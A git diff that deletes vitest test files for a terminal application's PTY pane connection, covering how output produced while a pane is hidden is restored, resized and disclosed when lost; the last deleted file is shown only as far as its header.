-        const pane = createPane(1)
-        const manager = createManager(1)
-        const binding = connectPanePty(
-          pane as never,
-          manager as never,
-          bindPaneAgentTitleMocks(deps as never, agentTitleMocks)
-        )
-        await flushAsyncTicks(6)
-        expect(capturedDataCallback.current).not.toBeNull()
-        return { transport, pane, dataCallback: capturedDataCallback.current!, binding }
-      }
-
-      it('marks the PTY hidden on hidden output and clears it before requesting restore on reveal', async () => {
-        enableMainAuthority()
-        const deps = createDeps({ isVisibleRef: { current: false } })
-        const { pane, dataCallback } = await connectHiddenPane(deps)
-        const setHiddenRendererPty = getSetHiddenRendererPtyMock()
-        const getMainBufferSnapshot = window.api.pty.getMainBufferSnapshot as unknown as ReturnType<
-          typeof vi.fn
-        >
-        getMainBufferSnapshot.mockResolvedValue({
-          data: 'model snapshot\r\n',
-          cols: 100,
-          rows: 30,
-          seq: 64
-        })
-        pane.terminal.options.scrollback = 50_000
-
-        dataCallback('hidden output\r\n', { seq: 16, rawLength: 16 })
-        expect(setHiddenRendererPty).toHaveBeenCalledWith('pty-id', true)
-
-        // Why: with the skip grammar gone, gated drops latch the restore via main's out-of-band marker, not a renderer content scan.
-        const { _dispatchPtyModelRestoreNeededForTest } =
-          await import('../../pty-transport/delivery/pty-model-restore-channel')
-        _dispatchPtyModelRestoreNeededForTest({
-          id: 'pty-id',
-          reason: 'hidden-drop',
-          markerSeq: 64
-        })
-
-        expect(getMainBufferSnapshot).not.toHaveBeenCalled()
-
-        ;(deps.isVisibleRef as { current: boolean }).current = true
-        const { requestTerminalBacklogRecovery } =
-          await import('@/lib/pane-manager/pane-terminal-output-scheduler')
-        requestTerminalBacklogRecovery(pane.terminal as never)
-        await flushAsyncTicks(20)
-
-        expect(setHiddenRendererPty).toHaveBeenLastCalledWith('pty-id', false)
-        expect(getMainBufferSnapshot).toHaveBeenCalledWith('pty-id', { scrollbackRows: 50_000 })
-        // The unhide IPC must precede the snapshot request (seq-guard contract).
-        const unhideOrder = setHiddenRendererPty.mock.invocationCallOrder.at(-1)!
-        const snapshotOrder = getMainBufferSnapshot.mock.invocationCallOrder[0]!
-        expect(unhideOrder).toBeLessThan(snapshotOrder)
-        expect(pane.terminal.write).toHaveBeenCalledWith(
-          expect.stringContaining('model snapshot'),
-          expect.any(Function)
-        )
-      })
-
-      it('holds post-snapshot live bytes until a hidden restore can fit the destination grid', async () => {
-        enableMainAuthority()
-        const { safeFit } = await import('@/lib/pane-manager/pane-tree-ops')
-        const deps = createDeps({ isVisibleRef: { current: false } })
-        const { pane, transport, dataCallback } = await connectHiddenPane(deps)
-        const getMainBufferSnapshot = window.api.pty.getMainBufferSnapshot as unknown as ReturnType<
-          typeof vi.fn
-        >
-        getMainBufferSnapshot.mockResolvedValue({
-          data: 'source-grid hidden snapshot\r\n',
-          cols: 80,
-          rows: 24,
-          seq: 64
-        })
-        pane.fitAddon.proposeDimensions = vi.fn(() => undefined) as never
-        transport.resize.mockClear()
-
-        dataCallback('hidden output\r\n', { seq: 16, rawLength: 16 })
-        const { _dispatchPtyModelRestoreNeededForTest } =
-          await import('../../pty-transport/delivery/pty-model-restore-channel')
-        _dispatchPtyModelRestoreNeededForTest({
-          id: 'pty-id',
-          reason: 'hidden-drop',
-          markerSeq: 64
-        })
-        ;(deps.isVisibleRef as { current: boolean }).current = true
-        const { requestTerminalBacklogRecovery } =
-          await import('@/lib/pane-manager/pane-terminal-output-scheduler')
-        requestTerminalBacklogRecovery(pane.terminal as never)
-        await flushAsyncTicks(20)
-
-        expect(transport.resize).not.toHaveBeenCalled()
-        dataCallback('live-after-hidden', { seq: 81, rawLength: 17 })
-        await flushAsyncTicks(6)
-        expect(
-          pane.terminal.write.mock.calls.map((call) => String(call[0])).join('')
-        ).not.toContain('live-after-hidden')
-
-        pane.fitAddon.proposeDimensions = vi.fn(() => ({ cols: 120, rows: 40 })) as never
-        safeFit(pane as never)
-        await flushAsyncTicks(20)
-
-        expect(transport.resize).toHaveBeenCalledWith(120, 40)
-        expect(pane.terminal.write.mock.calls.map((call) => String(call[0])).join('')).toContain(
-          'live-after-hidden'
-        )
-      })
-
-      it('kicks pane recovery when reveal finds the write pipeline certified dead', async () => {
-        // 2026-07-13 fossil-pane incident: bytes drop while hidden, pipeline certified dead, cert recovery empty — reveal must re-kick it.
-        enableMainAuthority()
-        const remountTerminalTabForRecovery = vi.fn(() => REMOUNTED)
-        mockStoreState = { ...mockStoreState, remountTerminalTabForRecovery } as StoreState
-        const { _resetTerminalPaneRecoveryForTests } =
-          await import('../../render-health/recovery/terminal-pane-recovery')
-        _resetTerminalPaneRecoveryForTests()
-        const deps = createDeps({ isVisibleRef: { current: false } })
-        const { pane, dataCallback } = await connectHiddenPane(deps)
-        const getMainBufferSnapshot = window.api.pty.getMainBufferSnapshot as unknown as ReturnType<
-          typeof vi.fn
-        >
-        getMainBufferSnapshot.mockResolvedValue({
-          data: 'model snapshot\r\n',
-          cols: 100,
-          rows: 30,
-          seq: 64
-        })
-
-        dataCallback('hidden output\r\n', { seq: 16, rawLength: 16 })
-
-        // Pipeline dies while hidden; certification-time recovery finds no remountable tab (budget unconsumed, no retry timer).
-        remountTerminalTabForRecovery.mockReturnValueOnce(TAB_MISSING as never)
-        const ackCredit = vi.fn()
-        const { writeTerminalOutput } =
-          await import('@/lib/pane-manager/pane-terminal-output-scheduler')
-        writeTerminalOutput(pane.terminal, 'queued before certification', {
-          foreground: false,
-          ackCredit
-        })
-        const { notifyUndeliverableWrite } =
-          await import('@/lib/pane-manager/terminal-write-pipeline-health')
-        notifyUndeliverableWrite(pane.terminal, 'write-stalled')
-        expect(ackCredit).toHaveBeenCalledTimes(1)
-        await flushAsyncTicks(4)
-        expect(remountTerminalTabForRecovery).toHaveBeenCalledTimes(1)
-
-        const { _dispatchPtyModelRestoreNeededForTest } =
-          await import('../../pty-transport/delivery/pty-model-restore-channel')
-        _dispatchPtyModelRestoreNeededForTest({
-          id: 'pty-id',
-          reason: 'hidden-drop',
-          markerSeq: 64
-        })
-        ;(deps.isVisibleRef as { current: boolean }).current = true
-        const { requestTerminalBacklogRecovery } =
-          await import('@/lib/pane-manager/pane-terminal-output-scheduler')
-        requestTerminalBacklogRecovery(pane.terminal as never)
-        await flushAsyncTicks(20)
-
-        expect(getMainBufferSnapshot).not.toHaveBeenCalled()
-        expect(remountTerminalTabForRecovery).toHaveBeenCalledTimes(2)
-        expect(remountTerminalTabForRecovery).toHaveBeenLastCalledWith('tab-1', AUTOMATIC_REQUEST)
-
-        // Latched per xterm instance: repeat restore attempts do not spam.
-        _dispatchPtyModelRestoreNeededForTest({
-          id: 'pty-id',
-          reason: 'hidden-drop',
-          markerSeq: 96
-        })
-        await flushAsyncTicks(4)
-        expect(remountTerminalTabForRecovery).toHaveBeenCalledTimes(2)
-        _resetTerminalPaneRecoveryForTests()
-      })
-
-      it('clears the hidden bit on visibility flips through syncProcessTracking', async () => {
-        enableMainAuthority()
-        const deps = createDeps({ isVisibleRef: { current: false } })
-        const { dataCallback, binding } = await connectHiddenPane(deps)
-        const setHiddenRendererPty = getSetHiddenRendererPtyMock()
-
-        dataCallback('hidden output\r\n')
-        expect(setHiddenRendererPty).toHaveBeenLastCalledWith('pty-id', true)
-        ;(deps.isVisibleRef as { current: boolean }).current = true
-        binding.syncProcessTracking()
-        expect(setHiddenRendererPty).toHaveBeenLastCalledWith('pty-id', false)
-
-        // Hiding again re-marks through the same lifecycle hook.
-        ;(deps.isVisibleRef as { current: boolean }).current = false
-        binding.syncProcessTracking()
-        expect(setHiddenRendererPty).toHaveBeenLastCalledWith('pty-id', true)
-      })
-
-      it('retires the fact-registered subscription when the TUI withdraws it', async () => {
-        // Gated panes never receive withdrawal bytes; only this fact can retire a subscription before theme flips send replies to the replacement shell.
-        enableMainAuthority()
-        const paneMode2031Ref = { current: new Map<number, boolean>() }
-        const paneLastThemeModeRef = { current: new Map<number, 'dark' | 'light'>() }
-        const deps = createDeps({
-          isVisibleRef: { current: false },
-          paneMode2031Ref,
-          paneLastThemeModeRef,
-          recordPaneMode2031Subscription: (paneId: number, subscribedMode: 'dark' | 'light') => {
-            paneMode2031Ref.current.set(paneId, true)
-            paneLastThemeModeRef.current.set(paneId, subscribedMode)
-          }
-        })
-        await connectHiddenPane(deps)
-        const transportOptions = createdTransportOptions.at(-1) as {
-          onPtySpawn?: (ptyId: string) => void
-        }
-        transportOptions.onPtySpawn?.('pty-id')
-        const factsHandler =
-          await import('../../pty-transport/output/terminal-side-effect-facts-handler')
-        factsHandler._dispatchTerminalSideEffectBatchForTest({
-          ptyId: 'pty-id',
-          seq: 12,
-          facts: [{ kind: '2031-subscribe' }]
-        })
-        expect(paneMode2031Ref.current.get(1)).toBe(true)
-
-        factsHandler._dispatchTerminalSideEffectBatchForTest({
-          ptyId: 'pty-id',
-          seq: 24,
-          facts: [{ kind: '2031-unsubscribe' }]
-        })
-
-        expect(paneMode2031Ref.current.get(1)).toBeUndefined()
-        expect(paneLastThemeModeRef.current.get(1)).toBeUndefined()
-      })
-
-      it('gates marker re-arms during an in-flight foreground restore and repaints once after', async () => {
-        enableMainAuthority()
-        const deps = createDeps({ isVisibleRef: { current: true } })
-        await connectHiddenPane(deps)
-        const transportOptions = createdTransportOptions.at(-1) as {
-          onPtySpawn?: (ptyId: string) => void
-        }
-        transportOptions.onPtySpawn?.('pty-id')
-        const getMainBufferSnapshot = window.api.pty.getMainBufferSnapshot as unknown as ReturnType<
-          typeof vi.fn
-        >
-        const firstSnapshot = createDeferred<{
-          data: string
-          cols: number
-          rows: number
-          seq: number
-        }>()
-        getMainBufferSnapshot
-          .mockReturnValueOnce(firstSnapshot.promise)
-          .mockResolvedValue({ data: 'post-flood repaint\r\n', cols: 100, rows: 30, seq: 96 })
-        const { _dispatchPtyModelRestoreNeededForTest } =
-          await import('../../pty-transport/delivery/pty-model-restore-channel')
-
-        _dispatchPtyModelRestoreNeededForTest({
-          id: 'pty-id',
-          reason: 'pending-cap',
-          markerSeq: 64
-        })
-        await flushAsyncTicks(4)
-        expect(getMainBufferSnapshot).toHaveBeenCalledTimes(1)
-
-        try {
-          // A second drop during snapshot serialization is self-backpressure and must not fetch again (rc.7.perf).
-          vi.useFakeTimers()
-          _dispatchPtyModelRestoreNeededForTest({
-            id: 'pty-id',
-            reason: 'pending-cap',
-            markerSeq: 80
-          })
-          firstSnapshot.resolve({ data: 'first snapshot\r\n', cols: 100, rows: 30, seq: 64 })
-          await flushAsyncTicks(20)
-          expect(getMainBufferSnapshot).toHaveBeenCalledTimes(1)
-
-          // Flood quiet: suppression window elapses and exactly ONE deferred repaint heals the dropped gap.
-          vi.advanceTimersByTime(2_100)
-          await flushAsyncTicks(20)
-          expect(getMainBufferSnapshot).toHaveBeenCalledTimes(2)
-        } finally {
-          vi.useRealTimers()
-        }
-      })
-    })
-  })
-}
diff --git a/src/renderer/src/components/terminal-pane/pty-connection/output-restore/pty-connection-hidden-restore-fit-overflow.test.ts b/src/renderer/src/components/terminal-pane/pty-connection/output-restore/pty-connection-hidden-restore-fit-overflow.test.ts
deleted file mode 100644
index 5d9fa2bfc9a..00000000000
--- a/src/renderer/src/components/terminal-pane/pty-connection/output-restore/pty-connection-hidden-restore-fit-overflow.test.ts
+++ /dev/null
@@ -1,309 +0,0 @@
-import type * as React from 'react'
-import { Terminal } from '@xterm/headless'
-import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
-import {
-  flushAsyncTicks,
-  createDeferred,
-  renderHeadlessBuffer,
-  writeHeadlessTerminal
-} from '../test-fixtures/pty-connection-test-async'
-import {
-  createMockTransport,
-  createPane,
-  createManager,
-  type ConnectCallbacks,
-  type MockTransport
-} from '../test-fixtures/pty-connection-test-pane-fixtures'
-import {
-  buildPaneConnectionDeps,
-  type PtyConnectionAgentTitleMocks,
-  bindPaneAgentTitleMocks
-} from '../test-fixtures/pty-connection-test-deps'
-import { createInitialStoreState } from '../test-fixtures/pty-connection-test-store-fixtures'
-import type { StoreState } from '../test-fixtures/pty-connection-test-store-state'
-import {
-  installTerminalTestGlobals,
-  restoreTerminalTestGlobals
-} from '../test-fixtures/pty-connection-test-environment'
-
-const {
-  resetAndRefreshAllTerminalWebglAtlases,
-  scheduleRuntimeGraphSync,
-  shouldSeedCacheTimerOnInitialTitle,
-  toastInfo,
-  notifyCodexPaneBoundForStaleSweep
-} = vi.hoisted(() => ({
-  resetAndRefreshAllTerminalWebglAtlases: vi.fn(),
-  scheduleRuntimeGraphSync: vi.fn(),
-  shouldSeedCacheTimerOnInitialTitle: vi.fn(() => false),
-  toastInfo: vi.fn(),
-  notifyCodexPaneBoundForStaleSweep: vi.fn()
-}))
-
-let mockStoreState: StoreState
-let transportFactoryQueue: MockTransport[] = []
-let createdTransportOptions: Record<string, unknown>[] = []
-let storeSubscribers: ((state: StoreState) => void)[] = []
-
-vi.mock('@/runtime/sync-runtime-graph/graph-sync-scheduler', () => ({
-  scheduleRuntimeGraphSync
-}))
-
-vi.mock('@/lib/pane-manager/pane-manager-registry', async (importOriginal) => ({
-  ...(await importOriginal<Record<string, unknown>>()),
-  resetAndRefreshAllTerminalWebglAtlases
-}))
-
-vi.mock('@/store/index', () => ({
-  useAppStore: {
-    getState: () => mockStoreState,
-    subscribe: (listener: (state: StoreState) => void) => {
-      storeSubscribers.push(listener)
-      return () => {
-        storeSubscribers = storeSubscribers.filter((candidate) => candidate !== listener)
-      }
-    }
-  }
-}))
-
-vi.mock('@/lib/agent-status/aggregation/worktree-agent-status', async (importOriginal) => {
-  const { buildAgentStatusModuleMock } =
-    await import('../test-fixtures/pty-connection-test-environment')
-  return buildAgentStatusModuleMock(await importOriginal<Record<string, unknown>>())
-})
-
-vi.mock('../../titles/cache-timer-seeding', () => ({
-  shouldSeedCacheTimerOnInitialTitle
-}))
-
-vi.mock('sonner', () => ({
-  toast: {
-    info: toastInfo
-  }
-}))
-
-vi.mock('@/lib/agent-session/accounts/codex/codex-stale-pane-sweep', () => ({
-  notifyCodexPaneBoundForStaleSweep
-}))
-
-// The connection fixture invokes hooks without mounting React.
-vi.mock('react', async (importOriginal) => {
-  const actual = await importOriginal<typeof React>()
-  return {
-    ...actual,
-    useCallback: <T extends (...args: unknown[]) => unknown>(fn: T): T => fn
-  }
-})
-
-vi.mock('../../pty-transport/ipc/pty-transport', () => ({
-  createIpcPtyTransport: vi.fn((options: Record<string, unknown>) => {
-    createdTransportOptions.push(options)
-    const nextTransport = transportFactoryQueue.shift()
-    if (!nextTransport) {
-      throw new Error('No mock transport queued')
-    }
-    return nextTransport
-  })
-}))
-
-vi.mock('../../pty-transport/remote-runtime/remote-runtime-pty-transport', () => ({
-  createRemoteRuntimePtyTransport: vi.fn(
-    (_environmentId: string, options: Record<string, unknown>) => {
-      createdTransportOptions.push(options)
-      const nextTransport = transportFactoryQueue.shift()
-      if (!nextTransport) {
-        throw new Error('No mock transport queued')
-      }
-      return nextTransport
-    }
-  )
-}))
-
-// Stub eager-buffer lookup to exercise live adoption without the IPC dispatcher.
-vi.mock('../../pty-transport/delivery/pty-dispatcher', async (importOriginal) => {
-  const actual = await importOriginal<Record<string, unknown>>()
-  return {
-    ...actual,
-    getEagerPtyBufferHandle: vi.fn(() => undefined)
-  }
-})
-
-const { safeFitAndThen } = vi.hoisted(() => ({ safeFitAndThen: vi.fn() }))
-vi.mock('@/lib/pane-manager/pane-tree-ops', async (importOriginal) => ({
-  ...(await importOriginal<Record<string, unknown>>()),
-  safeFitAndThen
-}))
-vi.mock('@/lib/pane-manager/pane-fit', async (importOriginal) => ({
-  ...(await importOriginal<Record<string, unknown>>()),
-  safeFitAndThen
-}))
-
-function createDeps(overrides: Record<string, unknown> = {}) {
-  return buildPaneConnectionDeps(() => mockStoreState, overrides)
-}
-
-describe('connectPanePty', () => {
-  beforeEach(async () => {
-    vi.resetModules()
-    vi.clearAllMocks()
-    transportFactoryQueue = []
-    createdTransportOptions = []
-    storeSubscribers = []
-    mockStoreState = createInitialStoreState(() => mockStoreState)
-    await installTerminalTestGlobals()
-  })
-
-  afterEach(async () => {
-    await restoreTerminalTestGlobals()
-  })
-
-  it.each([
-    { name: 'overflowed', pending: 'v'.repeat(512 * 1024 + 1), repaint: true, covered: 0 },
-    { name: 'small', pending: 'Working\r\n', repaint: false, covered: 0 },
-    { name: 'partially covered', pending: 'Working\r\n', repaint: false, covered: 4 },
-    { name: 'split escape', pending: '14mWorking\r\n', repaint: false, covered: 0 },
-    { name: 'styled', pending: 'Working\r\n', repaint: false, covered: 0 },
-    { name: 'styled gap', pending: 'Working\r\n', repaint: true, covered: 0 },
-    { name: 'unmapped', pending: 'Working\r\n', repaint: true, covered: 4 },
-    { name: 'unhide gap', pending: 'Working\r\n', repaint: true, covered: 0 },
-    { name: 'fresh snapshot gap', pending: 'Working\r\n', repaint: true, covered: 0 }
-  ])(
-    'recovers $name live output when the deadline interrupts an answered snapshot',
-    async ({ name, pending, repaint, covered }) => {
-      const { connectPanePty } = await import('../connect-pane-pty')
-      const agentTitleMocks = await vi.importMock<PtyConnectionAgentTitleMocks>(
-        '@/lib/agent-status/aggregation/worktree-agent-status'
-      )
-      const transport = createMockTransport('pty-id')
-      let onData: ConnectCallbacks['onData']
-      transport.connect.mockImplementation(
-        async ({ callbacks }: { callbacks: ConnectCallbacks }) => {
-          onData = callbacks.onData
-          return 'pty-id'
-        }
-      )
-      transportFactoryQueue.push(transport)
-      const fit = createDeferred<boolean>()
-      safeFitAndThen.mockReturnValue({ completion: Promise.resolve(true), cancel: vi.fn() })
-
-      const getSnapshot = vi.mocked(window.api.pty.getMainBufferSnapshot)
-      const hidden = 'hidden-before-flood\r\n'
-      const pendingEscapeTailAnsi = name === 'split escape' ? '\x1b[38;5;' : ''
-      const style = name.startsWith('styled') ? '\x1b[38;5;214m' : ''
-      const hiddenData = `${hidden}${style}${pendingEscapeTailAnsi}`
-      const firstLive = name === 'split escape' ? '2' : 'v'
-      const snapshot =
-        covered > 0 ? `${hidden}${firstLive}${pending.slice(0, covered)}` : `${hidden}${style}`
-      const snapshotSeq = hiddenData.length + (covered > 0 ? firstLive.length + covered : 0)
-      const done = 'HIDDEN_FLOOD_DONE\r\n'
-      const rawLength = pending.length + (name === 'unmapped' ? 5 : 0)
-      let seq = hiddenData.length + firstLive.length + rawLength
-      getSnapshot
-        .mockResolvedValueOnce({
-          data: snapshot,
-          pendingEscapeTailAnsi,
-          cols: 120,
-          rows: 40,
-          seq: snapshotSeq
-        })
-        .mockResolvedValue({
-          data: done,
-          cols: 120,
-          rows: 40,
-          seq: seq + 100
-        })
-      const pane = createPane(1)
-      const isVisibleRef = { current: false }
-      const deps = createDeps({ isVisibleRef, startup: { command: 'codex' } })
-      const disposable = connectPanePty(
-        pane as never,
-        createManager(1) as never,
-        bindPaneAgentTitleMocks(deps as never, agentTitleMocks)
-      )
-      await flushAsyncTicks(6)
-      safeFitAndThen.mockClear()
-      safeFitAndThen.mockReturnValueOnce({
-        completion: fit.promise,
-        cancel: vi.fn(() => fit.resolve(false))
-      })
-      vi.useFakeTimers()
-      onData?.(hidden, { seq: hidden.length, rawLength: hidden.length })
-      const { _dispatchPtyModelRestoreNeededForTest } =
-        await import('../../pty-transport/delivery/pty-model-restore-channel')
-      if (name === 'unhide gap') {
-        _dispatchPtyModelRestoreNeededForTest({
-          id: 'pty-id',
-          reason: 'hidden-drop',
-          hiddenDropEpisode: 1,
-          markerSeq: hidden.length
-        })
-      }
-      isVisibleRef.current = true
-      onData?.(firstLive, {
-        seq: hiddenData.length + firstLive.length,
-        rawLength: firstLive.length
-      })
-      await flushAsyncTicks(30)
-      expect(safeFitAndThen).toHaveBeenCalledTimes(1)
-      onData?.(pending, { seq, rawLength })
-      if (name === 'unhide gap' || name === 'fresh snapshot gap' || name === 'styled gap') {
-        isVisibleRef.current = name === 'unhide gap'
-        _dispatchPtyModelRestoreNeededForTest({
-          id: 'pty-id',
-          reason: name === 'unhide gap' ? 'unhide' : 'hidden-drop',
-          hiddenDropEpisode: 1,
-          markerSeq: seq + 100
-        })
-        isVisibleRef.current = true
-      }
-      await vi.advanceTimersByTimeAsync(750)
-      const deadlineOutput = pane.terminal.write.mock.calls.map(([data]) => data).join('')
-      expect(deadlineOutput).not.toContain('main recovery was unavailable')
-      expect(getSnapshot).toHaveBeenCalledTimes(1)
-      let laterOutput = ''
-      for (let second = 0; second < 12; second += 1) {
-        if (!repaint) {
-          const tick = `tick-${second}\r\n`
-          laterOutput += tick
-          seq += tick.length
-          onData?.(tick, { seq, rawLength: tick.length })
-        }
-        await vi.advanceTimersByTimeAsync(1_000)
-      }
-      expect(getSnapshot).toHaveBeenCalledTimes(repaint ? 2 : 1)
-      fit.resolve(true)
-      await flushAsyncTicks(30)
-      await vi.advanceTimersByTimeAsync(2_000)
-      await flushAsyncTicks(30)
-      const output = pane.terminal.write.mock.calls.map(([data]) => data).join('')
-      expect(output).not.toContain('main recovery was unavailable')
-      expect(getSnapshot).toHaveBeenCalledTimes(repaint ? 2 : 1)
-      disposable.dispose()
-      vi.useRealTimers()
-      const drained = `${hiddenData}${firstLive}${pending}`
-      expect(await renderHeadlessBuffer([output])).toEqual(
-        await renderHeadlessBuffer([repaint ? done : drained + laterOutput])
-      )
-      if (!repaint) {
-        expect(await renderHeadlessBuffer([deadlineOutput])).toEqual(
-          await renderHeadlessBuffer([drained])
-        )
-      }
-      if (pendingEscapeTailAnsi || style) {
-        const terminal = new Terminal({ cols: 80, rows: 8, allowProposedApi: true })
-        try {
-          await writeHeadlessTerminal(terminal, deadlineOutput)
-          const cell = terminal.buffer.active.getLine(1)?.getCell(0)
-          if (name === 'styled gap') {
-            expect(cell?.isFgDefault()).toBe(true)
-          } else {
-            expect(cell?.isFgPalette()).toBe(true)
-            expect(cell?.getFgColor()).toBe(214)
-          }
-        } finally {
-          terminal.dispose()
-        }
-      }
-    }
-  )
-})
diff --git a/src/renderer/src/components/terminal-pane/pty-connection/output-restore/pty-connection-hidden-restore-flood-abandon.test.ts b/src/renderer/src/components/terminal-pane/pty-connection/output-restore/pty-connection-hidden-restore-flood-abandon.test.ts
deleted file mode 100644
index df0a8305e11..00000000000
--- a/src/renderer/src/components/terminal-pane/pty-connection/output-restore/pty-connection-hidden-restore-flood-abandon.test.ts
+++ /dev/null
@@ -1,178 +0,0 @@
-import '../test-fixtures/pty-connection-mocks.spec'
-import { describe, expect, it, vi } from 'vitest'
-import { flushAsyncTicks, createDeferred } from '../test-fixtures/pty-connection-test-async'
-import {
-  announceMainDrop,
-  BANNER_FRAGMENT,
-  connectVisiblePane,
-  installHiddenRestoreFloodSuiteHooks,
-  modelSnapshot,
-  OVERFLOW_CHUNK,
-  PTY_ID,
-  type MainSnapshot,
-  type PaneDrive
-} from '../test-fixtures/pty-connection-test-hidden-restore-flood'
-
-// STA-4869: queue-overflow and iteration-cap quiet abandons owe deferred reconciliation or disclosed loss, including while scrolled back or hidden.
-
-const { warnTerminalLifecycleAnomaly } = vi.hoisted(() => ({
-  warnTerminalLifecycleAnomaly: vi.fn()
-}))
-
-// Require the iteration-cap warning to prove the backstop fired rather than natural loop completion.
-vi.mock('../../layout/reconciliation/terminal-lifecycle-diagnostics', async (importOriginal) => ({
-  ...(await importOriginal<Record<string, unknown>>()),
-  warnTerminalLifecycleAnomaly
-}))
-
-const R3_MARKER = 'R3-LOST-4d17'
-const R4_MARKER = 'R4-LOST-8ba0'
-
-function countOccurrences(haystack: string, needle: string): number {
-  return haystack.split(needle).length - 1
-}
-
-type Disclosure = {
-  bannerWrites: number
-  markerWrites: number
-  disclosedOrRecovered: boolean
-}
-
-function observeDisclosure(drive: PaneDrive, marker: string): Disclosure {
-  const written = drive.writtenChunks()
-  const bannerWrites = written.filter((data) => data.includes(BANNER_FRAGMENT)).length
-  const markerWrites = countOccurrences(written.join(''), marker)
-  return {
-    bannerWrites,
-    markerWrites,
-    disclosedOrRecovered: bannerWrites > 0 || markerWrites === 1
-  }
-}
-
-function expectDisclosedOrRecovered(disclosure: Disclosure): void {
-  expect(
-    disclosure.disclosedOrRecovered,
-    `hidden output was neither reconciled nor disclosed: ${JSON.stringify(disclosure)}`
-  ).toBe(true)
-}
-
-describe('hidden-output restore quiet abandonment (STA-4869)', () => {
-  installHiddenRestoreFloodSuiteHooks()
-
-  describe('R3 pending-queue overflow', () => {
-    /** Drives one restore into a 512KB queue overflow and returns once the
-     *  quiet abandon has run. */
-    async function overflowRestoreQueue(drive: PaneDrive): Promise<void> {
-      const getMainBufferSnapshot = vi.mocked(window.api.pty.getMainBufferSnapshot)
-      const firstSnapshot = createDeferred<MainSnapshot>()
-      getMainBufferSnapshot.mockReturnValueOnce(firstSnapshot.promise)
-      await announceMainDrop(64)
-      await flushAsyncTicks(20)
-      expect(getMainBufferSnapshot).toHaveBeenCalledTimes(1)
-
-      // The live stream outruns fetch+replay and blows the queue cap.
-      drive.deliver(OVERFLOW_CHUNK, 64 + OVERFLOW_CHUNK.length)
-      drive.deliver(OVERFLOW_CHUNK, 64 + 2 * OVERFLOW_CHUNK.length)
-      // Resolve before the 750ms deadline so queue drain owns abandonment.
-      firstSnapshot.resolve(modelSnapshot('pre-overflow-model', 64))
-      await flushAsyncTicks(20)
-
-      // Require replay plus discarded backlog to prove the overflow branch ran.
-      const written = drive.writtenChunks().join('')
-      expect(written).toContain('pre-overflow-model')
-      expect(written).not.toContain('o'.repeat(1024))
-    }
-
-    it('[invariant] reconciles the retained bytes through the deferred post-flood repaint', async () => {
-      const drive = await connectVisiblePane()
-      vi.useFakeTimers()
-      const getMainBufferSnapshot = vi.mocked(window.api.pty.getMainBufferSnapshot)
-      await overflowRestoreQueue(drive)
-
-      expect(drive.writtenChunks().join('')).not.toContain(BANNER_FRAGMENT)
-      getMainBufferSnapshot.mockResolvedValue(modelSnapshot(R3_MARKER, 4096))
-      await vi.advanceTimersByTimeAsync(2_100)
-      await flushAsyncTicks(20)
-
-      const disclosure = observeDisclosure(drive, R3_MARKER)
-      expect(disclosure.markerWrites).toBeLessThanOrEqual(1)
-      expectDisclosedOrRecovered(disclosure)
-      drive.disposable.dispose()
-    })
-
-    it('[invariant] keeps recovery armed while the user reads scrollback', async () => {
-      const { markTerminalFollowOutput, markTerminalPinnedViewport } =
-        await import('@/lib/pane-manager/terminal-scroll-intent')
-      const drive = await connectVisiblePane()
-      drive.pane.terminal.buffer.active.baseY = 100
-      drive.pane.terminal.buffer.active.viewportY = 42
-      markTerminalPinnedViewport(drive.pane.terminal)
-      vi.useFakeTimers()
-      const getMainBufferSnapshot = vi.mocked(window.api.pty.getMainBufferSnapshot)
-      await overflowRestoreQueue(drive)
-
-      getMainBufferSnapshot.mockResolvedValue(modelSnapshot(R4_MARKER, 4096))
-      await vi.advanceTimersByTimeAsync(60_000)
-      await flushAsyncTicks(20)
-      // Defer repaint without moving the scrolled-back viewport or disclosing a still-recoverable loss.
-      expect(drive.writtenChunks().join('')).not.toContain(BANNER_FRAGMENT)
-      expect(drive.pane.terminal.buffer.active.viewportY).toBe(42)
-
-      // A background stint must not consume the parked recovery either.
-      drive.setVisible(false)
-      await vi.advanceTimersByTimeAsync(60_000)
-      drive.setVisible(true)
-      await flushAsyncTicks(20)
-
-      drive.pane.terminal.buffer.active.viewportY = drive.pane.terminal.buffer.active.baseY
-      markTerminalFollowOutput(drive.pane.terminal)
-      await vi.advanceTimersByTimeAsync(2_100)
-      await flushAsyncTicks(20)
-
-      const disclosure = observeDisclosure(drive, R4_MARKER)
-      expect(disclosure.markerWrites).toBeLessThanOrEqual(1)
-      expectDisclosedOrRecovered(disclosure)
-      drive.disposable.dispose()
-    })
-  })
-
-  describe('R4 loop iteration cap', () => {
-    it('[invariant] reconciles the retained bytes after the iteration backstop fires', async () => {
-      const drive = await connectVisiblePane()
-      vi.useFakeTimers()
-      const getMainBufferSnapshot = vi.mocked(window.api.pty.getMainBufferSnapshot)
-      const rounds = [0, 1, 2].map(() => createDeferred<MainSnapshot>())
-      for (const round of rounds) {
-        getMainBufferSnapshot.mockReturnValueOnce(round.promise)
-      }
-      await announceMainDrop(64)
-      await flushAsyncTicks(20)
-
-      // Background arrival stales each in-flight snapshot, forcing another loop iteration.
-      for (const [index, round] of rounds.entries()) {
-        expect(getMainBufferSnapshot).toHaveBeenCalledTimes(index + 1)
-        drive.setVisible(false)
-        drive.deliver(`stale-round-${index}\r\n`, 128 + index * 32)
-        drive.setVisible(true)
-        round.resolve(modelSnapshot(`round-${index}-model`, 64 + index))
-        await flushAsyncTicks(20)
-      }
-
-      // Quiet backstop abandonment still owes a deferred repaint.
-      expect(getMainBufferSnapshot).toHaveBeenCalledTimes(3)
-      expect(warnTerminalLifecycleAnomaly).toHaveBeenCalledWith(
-        'hidden output restore hit its iteration cap',
-        expect.objectContaining({ ptyId: PTY_ID })
-      )
-      expect(drive.writtenChunks().join('')).not.toContain(BANNER_FRAGMENT)
-      getMainBufferSnapshot.mockResolvedValue(modelSnapshot(R4_MARKER, 8192))
-      await vi.advanceTimersByTimeAsync(2_100)
-      await flushAsyncTicks(20)
-
-      const disclosure = observeDisclosure(drive, R4_MARKER)
-      expect(disclosure.markerWrites).toBeLessThanOrEqual(1)
-      expectDisclosedOrRecovered(disclosure)
-      drive.disposable.dispose()
-    })
-  })
-})
diff --git a/src/renderer/src/components/terminal-pane/pty-connection/output-restore/pty-connection-hidden-restore-loss-disclosure.test.ts b/src/renderer/src/components/terminal-pane/pty-connection/output-restore/pty-connection-hidden-restore-loss-disclosure.test.ts
deleted file mode 100644
index 9b8cb6d1a7a..00000000000
--- a/src/renderer/src/components/terminal-pane/pty-connection/output-restore/pty-connection-hidden-restore-loss-disclosure.test.ts
+++ /dev/null
@@ -1,758 +0,0 @@
